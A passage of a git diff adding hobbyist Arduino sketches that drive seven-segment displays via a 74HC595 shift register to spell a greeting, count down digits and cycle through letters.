ON1 = HIGH; //Define on as LOW (this is because we use a common + //Anode RGB LED (common pin is connected to +5 volts) +const boolean OFF1 = LOW; //Define off as HIGH + +//Predefined Colors + +const boolean One[] = {ON1, OFF1, OFF1, OFF1, OFF1, OFF1, ON1}; +const boolean Two[] = {OFF1, ON1, ON1, ON1, OFF1, ON1, ON1}; +const boolean Three[] = {ON1, ON1, OFF1, ON1, OFF1, ON1, ON1}; +const boolean Four[] = {ON1, OFF1, OFF1, ON1, ON1, OFF1, ON1}; +const boolean Five[] = {ON1, ON1, OFF1, ON1, ON1, ON1, OFF1}; +const boolean Six[] = {ON1, ON1, ON1, ON1, ON1, ON1, OFF1}; +const boolean Seven[] = {ON1, OFF1, OFF1, OFF1, OFF1, ON1, ON1}; +const boolean Eight[] = {ON1, ON1, ON1, ON1, ON1, ON1, ON1}; +const boolean Nine[] = {ON1, ON1, OFF1, ON1, ON1, ON1, ON1}; +const boolean Zero[] = {ON1, ON1, ON1, OFF1, ON1, ON1, ON1}; + +const boolean A[] = {OFF1, ON1, ON1, OFF1, ON1, ON1, OFF1}; +const boolean B[] = {ON1, ON1, ON1, OFF1, ON1, ON1, ON1}; +const boolean C[] = {ON1, ON1, OFF1, OFF1, OFF1, OFF1, ON1}; +const boolean D[] = {ON1, ON1, OFF1, ON1, OFF1, OFF1, OFF1}; +const boolean E[] = {ON1, ON1, ON1, OFF1, OFF1, OFF1, ON1}; +const boolean F[] = {OFF1, ON1, OFF1, OFF1, OFF1, OFF1, OFF1}; +const boolean G[] = {ON1, ON1, OFF1, OFF1, ON1, ON1, ON1}; +const boolean H[] = {OFF1, ON1, ON1, OFF1, ON1, ON1, OFF1}; +const boolean I[] = {OFF1, OFF1, OFF1, ON1, OFF1, OFF1, OFF1}; +const boolean J[] = {ON1, ON1, OFF1, OFF1, OFF1, ON1, ON1}; +const boolean K[] = {OFF1, ON1, ON1, ON1, OFF1, OFF1, ON1}; +const boolean L[] = {ON1, ON1, OFF1, OFF1, OFF1, OFF1, ON1}; +const boolean M[] = {OFF1, ON1, OFF1, OFF1, OFF1, ON1, OFF1}; +const boolean N[] = {OFF1, ON1, OFF1, ON1, OFF1, ON1, ON1}; +const boolean O[] = {ON1, ON1, OFF1, OFF1, OFF1, ON1, ON1}; +const boolean P[] = {OFF1, ON1, OFF1, OFF1, OFF1, OFF1, OFF1}; +const boolean Q[] = {ON1, ON1, OFF1, OFF1, OFF1, ON1, OFF1}; +const boolean R[] = {OFF1, ON1, OFF1, ON1, OFF1, OFF1, ON1}; +const boolean S[] = {ON1, OFF1, OFF1, OFF1, OFF1, ON1, ON1}; +const boolean T[] = {OFF1, OFF1, OFF1, ON1, OFF1, OFF1, OFF1}; +const boolean U[] = {ON1, ON1, OFF1, OFF1, OFF1, ON1, ON1}; +const boolean V[] = {OFF1, OFF1, OFF1, ON1, OFF1, OFF1, OFF1}; +const boolean W[] = {ON1, ON1, OFF1, ON1, OFF1, ON1, ON1}; +const boolean X[] = {OFF1, ON1, OFF1, OFF1, OFF1, ON1, OFF1}; +const boolean Y[] = {OFF1, OFF1, OFF1, ON1, OFF1, OFF1, OFF1}; +const boolean Z[] = {ON1, ON1, ON1, OFF1, OFF1, OFF1, ON1}; +const boolean EXCLA[] = {OFF1, ON1, OFF1, OFF1, OFF1, OFF1, OFF1, ON1}; +const boolean BLANK[] = {OFF1, OFF1, OFF1, OFF1, OFF1, OFF1, OFF1, OFF1}; + + +//An Array that stores the predefined colors (allows us to later randomly display a color) +const boolean* NUMBERS[] = {One, Two, Three, Four, Five, Six, Seven, Eight, Nine, Zero}; + + + + + +void setup() +{ + pinMode(data, OUTPUT); + pinMode(clock, OUTPUT); + pinMode(latch, OUTPUT); + + + + for(int i = 0; i < 9; i++) + { + pinMode(ledDigitalOne[i], OUTPUT); //Set the three LED pins as outputs + } + + +} + +/* + * loop() - this function will start after setup finishes and then repeat + * we set which LEDs we want on then call a routine which sends the states to the 74HC595 + */ +void loop() // run over and over again +{ + int delayTime = 500; + for (int i = 0; i < 31; i++) + { + changeLED(0,ON); // -- H + changeLED(1,ON); + changeLED(5,ON); + changeLED(6,ON); + + setNumber(ledDigitalOne, H); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // -- E + changeLED(1,ON); + changeLED(2,ON); + changeLED(4,ON); + + setNumber(ledDigitalOne, E); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(3,ON); // - I + + setNumber(ledDigitalOne, I); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + setNumber(ledDigitalOne, BLANK); + delay(1000); + + changeLED(0,ON); // -- E + changeLED(1,ON); + changeLED(2,ON); + changeLED(4,ON); + + setNumber(ledDigitalOne, E); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(1,ON); // - L + + setNumber(ledDigitalOne, L); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(3,ON); // - I + + setNumber(ledDigitalOne, I); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // - A + changeLED(1,ON); + changeLED(2,ON); + changeLED(4,ON); + changeLED(5,ON); + changeLED(6,ON); + + setNumber(ledDigitalOne, A); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // -- S + changeLED(1,ON); + changeLED(2,ON); + changeLED(4,ON); + changeLED(6,ON); + + setNumber(ledDigitalOne, S); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(1,ON); // - EXCLA + changeLED(7,ON); + + setNumber(ledDigitalOne, EXCLA); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + changeLED(7,OFF); + } + +} + + + +/* + * updateLEDs() - sends the LED states set in ledStates to the 74HC595 + * sequence + */ +void updateLEDs(int value){ + digitalWrite(latch, LOW); //Pulls the chips latch low + shiftOut(data, clock, MSBFIRST, value); //Shifts out the 8 bits to the shift register + digitalWrite(latch, HIGH); //Pulls the latch high displaying the data +} + +/* + * updateLEDsLong() - sends the LED states set in ledStates to the 74HC595 + * sequence. Same as updateLEDs except the shifting out is done in software + * so you can see what is happening. + */ +void updateLEDsLong(int value){ + digitalWrite(latch, LOW); //Pulls the chips latch low + for(int i = 0; i < 8; i++){ //Will repeat 8 times (once for each bit) + int bit = value & B10000000; //We use a "bitmask" to select only the eighth + //bit in our number (the one we are addressing this time through + value = value << 1; //we move our number up one bit value so next time bit 7 will be + //bit 8 and we will do our math on it + if(bit == 128){digitalWrite(data, HIGH);} //if bit 8 is set then set our data pin high + else{digitalWrite(data, LOW);} //if bit 8 is unset then set the data pin low + digitalWrite(clock, HIGH); //the next three lines pulse the clock pin + delay(1); + digitalWrite(clock, LOW); + } + digitalWrite(latch, HIGH); //pulls the latch high shifting our data into being displayed +} + + +//These are used in the bitwise math that we use to change individual LEDs +//For more details http://en.wikipedia.org/wiki/Bitwise_operation +int bits[] = {B00000001, B00000010, B00000100, B00001000, B00010000, B00100000, B01000000, B10000000}; +int masks[] = {B11111110, B11111101, B11111011, B11110111, B11101111, B11011111, B10111111, B01111111}; +/* + * changeLED(int led, int state) - changes an individual LED + * LEDs are 0 to 7 and state is either 0 - OFF or 1 - ON + */ + void changeLED(int led, int state){ + ledState = ledState & masks[led]; //clears ledState of the bit we are addressing + if(state == ON){ledState = ledState | bits[led];} //if the bit is on we will add it to ledState + updateLEDs(ledState); //send the new LED state to the shift register + } + + + + + + void setNumber(int* led, boolean* number) +{ + for(int i = 0; i < 7; i++) + { + digitalWrite(led[i], number[i]); + } +} + +/* A version of setColor that allows for using const boolean colors +*/ + +void setNumber(int* led, const boolean* number) +{ + boolean tempNumber[] = {number[0], number[1], number[2], number[3], number[4], number[5], number[6]}; + setNumber(led, tempNumber); +} diff --git a/Projects/7 Segment Main/_2x7_Segment_74HC_Self/_2x7_Segment_74HC_Self.ino b/Projects/7 Segment Main/_2x7_Segment_74HC_Self/_2x7_Segment_74HC_Self.ino new file mode 100755 index 0000000..f138ac8 --- /dev/null +++ b/Projects/7 Segment Main/_2x7_Segment_74HC_Self/_2x7_Segment_74HC_Self.ino @@ -0,0 +1,324 @@ +/* --------------------------------------------------------- + * | Arduino Experimentation Kit Example Code | + * | CIRC-05 .: 8 More LEDs :. (74HC595 Shift Register) | + * --------------------------------------------------------- + * + * We have already controlled 8 LEDs however this does it in a slightly + * different manner. Rather than using 8 pins we will use just three + * and an additional chip. + * + * + */ + + +//Pin Definitions +//Pin Definitions +//The 74HC595 uses a serial communication +//link which has three pins +int data = 2; +int clock = 3; +int latch = 4; + +//Used for single LED manipulation +int ledState = 0; +const int ON = HIGH; +const int OFF = LOW; + + + + + +int ledDigitalOne[] = {13, 12, 11, 10, 9, 8, 7}; //the three digital pins of the digital LED + //9 = redPin, 10 = greenPin, 11 = bluePin + +const boolean ON1 = HIGH; //Define on as LOW (this is because we use a common + //Anode RGB LED (common pin is connected to +5 volts) +const boolean OFF1 = LOW; //Define off as HIGH + +//Predefined Colors + +const boolean One[] = {ON1, OFF1, OFF1, OFF1, OFF1, OFF1, ON1}; +const boolean Two[] = {OFF1, ON1, ON1, ON1, OFF1, ON1, ON1}; +const boolean Three[] = {ON1, ON1, OFF1, ON1, OFF1, ON1, ON1}; +const boolean Four[] = {ON1, OFF1, OFF1, ON1, ON1, OFF1, ON1}; +const boolean Five[] = {ON1, ON1, OFF1, ON1, ON1, ON1, OFF1}; +const boolean Six[] = {ON1, ON1, ON1, ON1, ON1, ON1, OFF1}; +const boolean Seven[] = {ON1, OFF1, OFF1, OFF1, OFF1, ON1, ON1}; +const boolean Eight[] = {ON1, ON1, ON1, ON1, ON1, ON1, ON1}; +const boolean Nine[] = {ON1, ON1, OFF1, ON1, ON1, ON1, ON1}; +const boolean Zero[] = {ON1, ON1, ON1, OFF1, ON1, ON1, ON1}; + + +//An Array that stores the predefined colors (allows us to later randomly display a color) +const boolean* NUMBERS[] = {One, Two, Three, Four, Five, Six, Seven, Eight, Nine, Zero}; + + + + + +void setup() +{ + pinMode(data, OUTPUT); + pinMode(clock, OUTPUT); + pinMode(latch, OUTPUT); + + + + for(int i = 0; i < 9; i++) + { + pinMode(ledDigitalOne[i], OUTPUT); //Set the three LED pins as outputs + } + + +} + +/* + * loop() - this function will start after setup finishes and then repeat + * we set which LEDs we want on then call a routine which sends the states to the 74HC595 + */ +void loop() // run over and over again +{ + int delayTime = 500; + for (int i = 0; i < 8; i++) + { + changeLED(0,ON); // - 9 + changeLED(1,ON); + changeLED(3,ON); + changeLED(4,ON); + changeLED(5,ON); + changeLED(6,ON); + + setNumber(ledDigitalOne, Nine); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // - 8 + changeLED(1,ON); + changeLED(2,ON); + changeLED(3,ON); + changeLED(4,ON); + changeLED(5,ON); + changeLED(6,ON); + + setNumber(ledDigitalOne, Eight); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // - 7 + changeLED(5,ON); + changeLED(6,ON); + + setNumber(ledDigitalOne, Seven); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // - 6 + changeLED(1,ON); + changeLED(2,ON); + changeLED(3,ON); + changeLED(4,ON); + changeLED(5,ON); + + setNumber(ledDigitalOne, Six); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // - 5 + changeLED(1,ON); + changeLED(3,ON); + changeLED(4,ON); + changeLED(5,ON); + + setNumber(ledDigitalOne, Five); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // - 4 + changeLED(3,ON); + changeLED(4,ON); + changeLED(6,ON); + + setNumber(ledDigitalOne, Four); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // - 3 + changeLED(1,ON); + changeLED(3,ON); + changeLED(5,ON); + changeLED(6,ON); + + setNumber(ledDigitalOne, Three); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(1,ON); // - 2 + changeLED(2,ON); + changeLED(3,ON); + changeLED(5,ON); + changeLED(6,ON); + + setNumber(ledDigitalOne, Two); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // - 1 + changeLED(6,ON); + + setNumber(ledDigitalOne, One); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // - 0 + changeLED(1,ON); + changeLED(2,ON); + changeLED(4,ON); + changeLED(5,ON); + changeLED(6,ON); + + setNumber(ledDigitalOne, Zero); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + } + + +} + + + +/* + * updateLEDs() - sends the LED states set in ledStates to the 74HC595 + * sequence + */ +void updateLEDs(int value){ + digitalWrite(latch, LOW); //Pulls the chips latch low + shiftOut(data, clock, MSBFIRST, value); //Shifts out the 8 bits to the shift register + digitalWrite(latch, HIGH); //Pulls the latch high displaying the data +} + +/* + * updateLEDsLong() - sends the LED states set in ledStates to the 74HC595 + * sequence. Same as updateLEDs except the shifting out is done in software + * so you can see what is happening. + */ +void updateLEDsLong(int value){ + digitalWrite(latch, LOW); //Pulls the chips latch low + for(int i = 0; i < 8; i++){ //Will repeat 8 times (once for each bit) + int bit = value & B10000000; //We use a "bitmask" to select only the eighth + //bit in our number (the one we are addressing this time through + value = value << 1; //we move our number up one bit value so next time bit 7 will be + //bit 8 and we will do our math on it + if(bit == 128){digitalWrite(data, HIGH);} //if bit 8 is set then set our data pin high + else{digitalWrite(data, LOW);} //if bit 8 is unset then set the data pin low + digitalWrite(clock, HIGH); //the next three lines pulse the clock pin + delay(1); + digitalWrite(clock, LOW); + } + digitalWrite(latch, HIGH); //pulls the latch high shifting our data into being displayed +} + + +//These are used in the bitwise math that we use to change individual LEDs +//For more details http://en.wikipedia.org/wiki/Bitwise_operation +int bits[] = {B00000001, B00000010, B00000100, B00001000, B00010000, B00100000, B01000000, B10000000}; +int masks[] = {B11111110, B11111101, B11111011, B11110111, B11101111, B11011111, B10111111, B01111111}; +/* + * changeLED(int led, int state) - changes an individual LED + * LEDs are 0 to 7 and state is either 0 - OFF or 1 - ON + */ + void changeLED(int led, int state){ + ledState = ledState & masks[led]; //clears ledState of the bit we are addressing + if(state == ON){ledState = ledState | bits[led];} //if the bit is on we will add it to ledState + updateLEDs(ledState); //send the new LED state to the shift register + } + + + + + + void setNumber(int* led, boolean* number) +{ + for(int i = 0; i < 7; i++) + { + digitalWrite(led[i], number[i]); + } +} + +/* A version of setColor that allows for using const boolean colors +*/ + +void setNumber(int* led, const boolean* number) +{ + boolean tempNumber[] = {number[0], number[1], number[2], number[3], number[4], number[5], number[6]}; + setNumber(led, tempNumber); +} diff --git a/Projects/7 Segment Main/_2x7_Segment_74HC_Write/_2x7_Segment_74HC_Write.ino b/Projects/7 Segment Main/_2x7_Segment_74HC_Write/_2x7_Segment_74HC_Write.ino new file mode 100755 index 0000000..9703f29 --- /dev/null +++ b/Projects/7 Segment Main/_2x7_Segment_74HC_Write/_2x7_Segment_74HC_Write.ino @@ -0,0 +1,603 @@ +/* --------------------------------------------------------- + * | Arduino Experimentation Kit Example Code | + * | CIRC-05 .: 8 More LEDs :. (74HC595 Shift Register) | + * --------------------------------------------------------- + * + * We have already controlled 8 LEDs however this does it in a slightly + * different manner. Rather than using 8 pins we will use just three + * and an additional chip. + * + * + */ + + +//Pin Definitions +//Pin Definitions +//The 74HC595 uses a serial communication +//link which has three pins +int data = 2; +int clock = 3; +int latch = 4; + +//Used for single LED manipulation +int ledState = 0; +const int ON = HIGH; +const int OFF = LOW; + + + + + +int ledDigitalOne[] = {13, 12, 11, 10, 9, 8, 7, 6}; //the three digital pins of the digital LED + //9 = redPin, 10 = greenPin, 11 = bluePin + +const boolean ON1 = HIGH; //Define on as LOW (this is because we use a common + //Anode RGB LED (common pin is connected to +5 volts) +const boolean OFF1 = LOW; //Define off as HIGH + +//Predefined Colors + +const boolean One[] = {ON1, OFF1, OFF1, OFF1, OFF1, OFF1, ON1}; +const boolean Two[] = {OFF1, ON1, ON1, ON1, OFF1, ON1, ON1}; +const boolean Three[] = {ON1, ON1, OFF1, ON1, OFF1, ON1, ON1}; +const boolean Four[] = {ON1, OFF1, OFF1, ON1, ON1, OFF1, ON1}; +const boolean Five[] = {ON1, ON1, OFF1, ON1, ON1, ON1, OFF1}; +const boolean Six[] = {ON1, ON1, ON1, ON1, ON1, ON1, OFF1}; +const boolean Seven[] = {ON1, OFF1, OFF1, OFF1, OFF1, ON1, ON1}; +const boolean Eight[] = {ON1, ON1, ON1, ON1, ON1, ON1, ON1}; +const boolean Nine[] = {ON1, ON1, OFF1, ON1, ON1, ON1, ON1}; +const boolean Zero[] = {ON1, ON1, ON1, OFF1, ON1, ON1, ON1}; + +const boolean A[] = {OFF1, ON1, OFF1, OFF1, OFF1, ON1, OFF1}; +const boolean B[] = {ON1, ON1, ON1, OFF1, ON1, ON1, ON1}; +const boolean C[] = {ON1, ON1, OFF1, OFF1, OFF1, OFF1, ON1}; +const boolean D[] = {ON1, ON1, OFF1, ON1, OFF1, OFF1, OFF1}; +const boolean E[] = {ON1, ON1, ON1, OFF1, OFF1, OFF1, ON1}; +const boolean F[] = {OFF1, ON1, OFF1, OFF1, OFF1, OFF1, OFF1}; +const boolean G[] = {ON1, ON1, OFF1, OFF1, ON1, ON1, ON1}; +const boolean H[] = {OFF1, ON1, ON1, OFF1, ON1, ON1, OFF1}; +const boolean I[] = {OFF1, OFF1, OFF1, ON1, OFF1, OFF1, OFF1}; +const boolean J[] = {ON1, ON1, OFF1, OFF1, OFF1, ON1, ON1}; +const boolean K[] = {OFF1, ON1, ON1, ON1, OFF1, OFF1, ON1}; +const boolean L[] = {ON1, ON1, OFF1, OFF1, OFF1, OFF1, ON1}; +const boolean M[] = {OFF1, ON1, OFF1, OFF1, OFF1, ON1, OFF1}; +const boolean N[] = {OFF1, ON1, OFF1, ON1, OFF1, ON1, ON1}; +const boolean O[] = {ON1, ON1, OFF1, OFF1, OFF1, ON1, ON1}; +const boolean P[] = {OFF1, ON1, OFF1, OFF1, OFF1, OFF1, OFF1}; +const boolean Q[] = {ON1, ON1, OFF1, OFF1, OFF1, ON1, OFF1}; +const boolean R[] = {OFF1, ON1, OFF1, ON1, OFF1, OFF1, ON1}; +const boolean S[] = {ON1, OFF1, OFF1, OFF1, OFF1, ON1, ON1}; +const boolean T[] = {OFF1, OFF1, OFF1, ON1, OFF1, OFF1, OFF1}; +const boolean U[] = {ON1, ON1, OFF1, OFF1, OFF1, ON1, ON1}; +const boolean V[] = {OFF1, OFF1, OFF1, ON1, OFF1, OFF1, OFF1}; +const boolean W[] = {ON1, ON1, OFF1, ON1, OFF1, ON1, ON1}; +const boolean X[] = {OFF1, ON1, OFF1, OFF1, OFF1, ON1, OFF1}; +const boolean Y[] = {OFF1, OFF1, OFF1, ON1, OFF1, OFF1, OFF1}; +const boolean Z[] = {ON1, ON1, ON1, OFF1, OFF1, OFF1, ON1}; +const boolean EXCLA[] = {OFF1, ON1, OFF1, OFF1, OFF1, OFF1, OFF1, ON1}; + + +//An Array that stores the predefined colors (allows us to later randomly display a color) +const boolean* NUMBERS[] = {One, Two, Three, Four, Five, Six, Seven, Eight, Nine, Zero}; + + + + + +void setup() +{ + pinMode(data, OUTPUT); + pinMode(clock, OUTPUT); + pinMode(latch, OUTPUT); + + + + for(int i = 0; i < 9; i++) + { + pinMode(ledDigitalOne[i], OUTPUT); //Set the three LED pins as outputs + } + + +} + +/* + * loop() - this function will start after setup finishes and then repeat + * we set which LEDs we want on then call a routine which sends the states to the 74HC595 + */ +void loop() // run over and over again +{ + int delayTime = 500; + for (int i = 0; i < 31; i++) + { + changeLED(0,ON); // - A + changeLED(1,ON); + changeLED(2,ON); + changeLED(4,ON); + changeLED(5,ON); + changeLED(6,ON); + + setNumber(ledDigitalOne, A); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // - B + changeLED(1,ON); + changeLED(2,ON); + changeLED(4,ON); + changeLED(5,ON); + changeLED(6,ON); + + setNumber(ledDigitalOne, B); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(1,ON); // - C + changeLED(2,ON); + changeLED(4,ON); + + setNumber(ledDigitalOne, C); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(1,ON); // - D + changeLED(2,ON); + changeLED(3,ON); + + setNumber(ledDigitalOne, D); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // -- E + changeLED(1,ON); + changeLED(2,ON); + changeLED(4,ON); + + setNumber(ledDigitalOne, E); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // -- F + changeLED(1,ON); + changeLED(2,ON); + changeLED(4,ON); + + setNumber(ledDigitalOne, F); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(1,ON); // -- G + changeLED(2,ON); + changeLED(4,ON); + + setNumber(ledDigitalOne, G); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // -- H + changeLED(1,ON); + changeLED(5,ON); + changeLED(6,ON); + + setNumber(ledDigitalOne, H); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(3,ON); // - I + + setNumber(ledDigitalOne, I); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(5,ON); // - j + + setNumber(ledDigitalOne, J); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // -- K + changeLED(1,ON); + changeLED(3,ON); + changeLED(4,ON); + + setNumber(ledDigitalOne, K); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(1,ON); // - L + + setNumber(ledDigitalOne, L); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(1,ON); // - M + changeLED(2,ON); + changeLED(3,ON); + changeLED(4,ON); + changeLED(5,ON); + + setNumber(ledDigitalOne, M); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(1,ON); // - N + changeLED(2,ON); + changeLED(3,ON); + changeLED(5,ON); + + setNumber(ledDigitalOne, N); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(1,ON); // - 0 + changeLED(2,ON); + changeLED(4,ON); + changeLED(5,ON); + + setNumber(ledDigitalOne, O); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // -- P + changeLED(1,ON); + changeLED(2,ON); + changeLED(4,ON); + changeLED(5,ON); + changeLED(6,ON); + + setNumber(ledDigitalOne, P); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(1,ON); // - Q + changeLED(2,ON); + changeLED(4,ON); + changeLED(5,ON); + + setNumber(ledDigitalOne, Q); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // -- R + changeLED(1,ON); + changeLED(2,ON); + changeLED(4,ON); + changeLED(5,ON); + changeLED(6,ON); + + setNumber(ledDigitalOne, R); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // -- S + changeLED(1,ON); + changeLED(2,ON); + changeLED(4,ON); + changeLED(6,ON); + + setNumber(ledDigitalOne, S); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(2,ON); // - T + changeLED(3,ON); + changeLED(4,ON); + + setNumber(ledDigitalOne, T); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(1,ON); // - U + changeLED(5,ON); + + setNumber(ledDigitalOne, U); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(1,ON); // - V + changeLED(5,ON); + + setNumber(ledDigitalOne, V); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(1,ON); // - W + changeLED(5,ON); + + setNumber(ledDigitalOne, W); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(1,ON); // - X + changeLED(5,ON); + + setNumber(ledDigitalOne, X); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // -- Y + changeLED(1,ON); + changeLED(5,ON); + changeLED(6,ON); + + setNumber(ledDigitalOne, Y); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(2,ON); // - Z + changeLED(4,ON); + changeLED(5,ON); + 